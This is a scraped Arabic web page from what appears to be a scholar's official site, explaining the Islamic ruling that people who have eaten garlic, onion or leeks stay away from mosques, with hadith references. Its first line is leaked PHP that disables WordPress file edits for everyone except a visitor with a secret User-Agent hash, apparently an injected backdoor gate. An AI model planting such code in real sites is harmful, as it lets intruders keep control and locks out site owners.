if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } منع من أكل الثوم والبصل من دخول المساجد - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

منع من أكل الثوم والبصل من دخول المساجد

قال رحمه الله: (وَيُكْرَهُ لِمَنْ أَرَادَ المَسَاجِدَ لِلصَّلَاةِ وَالاعتِكَافِ أَنْ يَتَعَرَّضَ لِأَكْلِ الخَبَائِثِ مِنَ البُقُوْلِ، كَالبَصَلِ، وَالثُّوْمِ، وَالكُرَّاثِ، فَقَدْ نَهَى النَبَيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عَنْ قُرْبَانِ المَسْجِدِ مَعَهُ) المساجد: جمع مسجد وهو كل موضعٍ أُعد للصلاة سواءً كان المسجد الذي يصلي فيه الرجال أو المصلى الذي تصلي فيه النساء، ولهذا النهي هنا عامٌ شاملٌ للرجال والنساء على حدٍ سواء، فلو صلت المرأة في المصلى أو في المسجد فإنها تجتنب أكل البصل والكراث والثوم كالرجل تمامًا، جاء وصف هذه البقول بالخبائث، قال: (أَنْ يَتَعَرَّضَ لِأَكْلِ الخَبَائِثِ مِنَ البُقُوْلِ) وصف هذه البقول بالخبائث؛ لأنه قد جاء في الحديث وصفها بذلك، في قوله صلى الله عليه وسلم: «إنها شجرةٌ خبيثةٌ أكره ريحها»[1] [الحديث في الصحيح] وذلك أنه صلى الله عليه وسلم لما منع من أكل الثوم أو الكراث أو البصل من قربان المسجد ونهاه عن دخول المسجد وأمر بإخراجه من المسجد وقال: «من أكل فلا يقربن مسجدنا» ظن بعض الصحابة أنها حُرمت، فقالوا: حُرمت حُرمت حُرمت، فصعد صلى الله عليه وسلم المنبر وأخبر «أنها شجرة خبيثة وأنه يكره ريحها» يعني هي حلال ليست بمحرمة لكنه صلوات الله وسلامه عليه يكره ريحها، إذن الخُبث قد يكون في الشيء لذاته فيكون محرمًا كما أصل المحرمات في قول الله جل شأنه في وصف نبيه: {وَيُحِلُّ لَهُمُ الطَّيِّبَاتِ وَيُحَرِّمُ عَلَيْهِمُ الْخَبَائِثَ} [الأعراف: ١٥٧] وقد يكون الخُبث في الشيء لا لذاته وإنما لأمر خارج كدناءته فيكون مكروهًا مثل هذا، فالبصل والكراث والثوم مكروه وخبيث لريحه المنتنة إذا لم يطبخ طبخًا شديدًا وتزول رائحته؛ فإنه مؤذٍ للمصلين ومؤذٍ لملائكة الله الذين يتأذون مما يتأذى منه الآدميون، ومن هذا الخُبث الذي يكون للدناءة وليس للتحريم، قول النبي صلى الله عليه وسلم: «كَسْبُ الحَجَّامِ خبيثٌ»[2] فإن الحجّام الذي يأخذ مالًا على الحجامة هو من حيث الحلال حلال لكنه خبيث لدناءة هذه المهنة، والبقول: جمع بقل وهو كل ما لا ساق له من الزروع، جمهور العلماء على أن من أكل بصلًا أو ثومًا أو كراثًا يكره له دخول المسجد، وذهبت الظاهرية إلى أن النهي للتحريم، وفي حديث جابر بن عبدالله رضي الله عنه وعن أبيه أن النبي صلى الله عليه وسلم قال: «مَن أكَلَ ثُومًا أوْ بَصَلًا فَلْيَعْتَزِلْنَا، أوْ لِيَعْتَزِلْ مَسْجِدَنَا»[3]، وفي حديث أنس رضي الله عنه: «مَن أكَلَ فلا يَقْرَبَنَّ مَسْجِدَنَا»[4] وظاهر النصوص التحريم، وما ذهب إليه الظاهرية له وجهٌ معتبر إذ لا صارف هنا، جاء في الحديث: «إخراج آكل البصل أو الثوم أو الكراث من المسجد أُخرج إلى البقيع»[5]، اليوم قد يكون النزاع والشقاق بين أهل الإسلام لو قام أحد فأخرج لكن لو قال: أنا معي حديث من النبي صلى الله عليه وسلم وهذا مزعج للمصلين ومؤذٍ لهم ومسكه بيده ووصله إلى باب المسجد، وقال: انصرف، صلِ في بيتك، لم يكن مخطئًا لكن قد لا يقبل بعض الناس ذلك وإلا فقد جاءت السنة بإخراج من أكل هذه البقول من المسجد.

هل الإذن له ألا يُصلي في المسجد تخفيف وتيسير وأن الجماعة سقطت عنه أو عقوبة وتعزير؟ الظاهر الثاني، وأنه مُنع من الصلاة ليس تخفيفًا وإنما عقوبة وتعزيرًا، وذلك أنه تعمد الأكل في هذا الوقت فمُنع وحُرم من الصلاة في المسجد، لكن إذا قال أنا ما علمت، ما توقعت أن في الطعام هذه الرائحة، وأن الرائحة ظننت أن الطبخ قد أتى عليها، نقول: يمتنع ولا حرج عليه لكن لو تعمد، هذا هو الذي يمكن أن يقال التعزير والعقوبة، لو تعمد أن يضع أكلًا فيه بصلًا أو كراثًا أو ثومًا وأكله قرب الصلاة وتعود ذلك، نقول: أنت مخالفٌ للسنة ومفوت للجماعة وعرضت نفسك للعقوبة، فإن منعك من الصلاة في المسجد أثناء أكل الثوم والبصل والكراث ليس تخفيفًا ولا تيسيرًا وإنما هو تغليظٌ وعقوبةٌ وكفاك حرمانًا من الصلاة في المسجد ما دامت هذه الرائحة النتنة معك، وذلك أيضًا كله من باب درء المفاسد وأنه مقدمٌ على جلب المصالح فإن صلاته في المسجد له مصلحة وتحصيلٌ للحسنات المضاعفة لكن مفسدته أعظم وأذيته للمصلين وللملائكة أشد، ولهذا نقول درء المفسدة مقدم على جلب المصلحة، فلا يحضر ولو قال أنا أريد أن أصلي ولا أريد أن أفوت، نقول: انتبه في المستقبل وإن كنت ولا بد آكلًا فكله في وقت متسع كبعد العشاء واجتهد في إماتته بالطبخ؛ فإنه إذا طُبخ وأُميت ذهبت رائحته أو خفت.

ذكر بعض أهل العلم مواد يمكن أن تذيب أو تخفف، فذكروا منه الهيل وربما القرنفل وربما البقدونس لكن مهما كان فإنه إذا أُكل نيئًا أو قريبًا من النيئ فإنه رائحته المنتنة الخبيثة لا تزول بسهولة، إذا طُبخ وزالت رائحته فإن النهي لا يشمله، إذ قد يأكل الإنسان مطبوخًا من بصلٍ أو ثومٍ أو نحوه لكنه لا يشم أحدًا رائحته؛ لأنه قد أُميت بالطبخ، فلا يدخل في النهي ولا يشمله النهي، ومثله أيضًا إذا احتاط مع ذلك فأكل ما يُخفف الرائحة وتطيب فإن ذلك يزيل المنع في حقه.

بقي عندنا، هل المنع خاص بالمساجد فقط أو في الجماعات؟ بعض الناس إذا أكل بصل أو ثوم أو كراث، ربما ذهب يصلي في أي مسجد أو في مصلى على طريق أو مسجد أو مصلى في محطة بنزين أو غيره، نقول: ليس هذا بصحيح، النهي لأجل الصلاة واجتماع أهل الإيمان في المساجد أو المصليات مع الملائكة، بل قال الفقهاء رحمهم الله: ولو صلى في برية فإن النهي يشمله، فلا يفهم الإنسان أنه ما دام في البر يأكل من هذه البقول النتنة رائحتها ويصلي ويقول لا حرج لست في مسجد، نقول: الملائكة وأهل الإيمان من المصلين يتأذون ولو كنت في غير مسجد.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (565) عن أبي سعيد الخدري بلفظ: «لمْ نَعْدُ أنْ فُتِحَتْ خَيْبَرُ فَوَقَعْنَا أصْحَابَ رَسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ في تِلكَ البَقْلَةِ الثُّومِ والنَّاسُ جِيَاعٌ، فأكَلْنَا منها أكْلًا شَدِيدًا، ثُمَّ رُحْنَا إلى المَسْجِدِ، فَوَجَدَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ الرِّيحَ فَقالَ: مَن أكَلَ مِن هذِه الشَّجَرَةِ الخَبِيثَةِ شيئًا، فلا يَقْرَبَنَّا في المَسْجِدِ فَقالَ النَّاسُ: حُرِّمَتْ، حُرِّمَتْ، فَبَلَغَ ذَاكَ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فَقالَ: أيُّها النَّاسُ إنَّه ليسَ بي تَحْرِيمُ ما أحَلَّ اللهُ لِي، ولَكِنَّهَا شَجَرَةٌ أكْرَهُ رِيحَهَا».

[2] أخرجه مسلم (1568).

[3] أخرجه البخاري (5452)، ومسلم (564) مطولاً.

[4] أخرجه البخاري (5451) واللفظ له، ومسلم (562) باختلاف يسير.

[5] أخرجه ابن حزم في المحلى واحتج به (4/203) «أنَّ عمرَ بنَ الخطابِ رَضِيَ اللهُ عَنْهُ قال: إنَّكمْ أيُّها الناسُ تأكلونَ من شجرتينِ ما أراهُما إلا خَبيثتيْنِ، هذا البصلُ والثومُ، لقد رأيْتُ نبيَّ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ إذا وجدَ ريحَهُما منَ الرجلِ أمرَ به فأُخرِجَ إلى البقيعِ»، والحديث بهذا اللفظ صححه الألباني في صحيح النسائي (707).